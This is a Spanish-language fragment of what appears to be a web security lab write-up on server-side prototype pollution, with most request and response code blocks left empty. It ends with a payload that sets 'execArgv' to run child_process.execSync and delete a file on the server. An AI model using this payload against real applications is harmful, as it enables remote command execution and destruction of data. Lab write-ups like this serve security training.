Primero encontramos la siguiente peticion:

{% code overflow="wrap" %}

{% endcode %}

Lo anterior responde asi:

{% endcode %}

Teniendo en cuenta lo anterior, enviamos la siguiente peticion:

{% code overflow="wrap" %}

```

Los 10 espacios antecedidos por cada objeto indica que es susceptible a este tipo de ataques.

Al acceder al apartado de admin:

Esto genera tareas en segundo plano que limpian la base de datos y el sistema de archivos.

Por lo anterior, generamos un collaborator y enviamos la siguiente peticion:

    "execArgv":[
        "--eval=require('child_process').execSync('rm /home/carlos/morale.txt')"
    ]
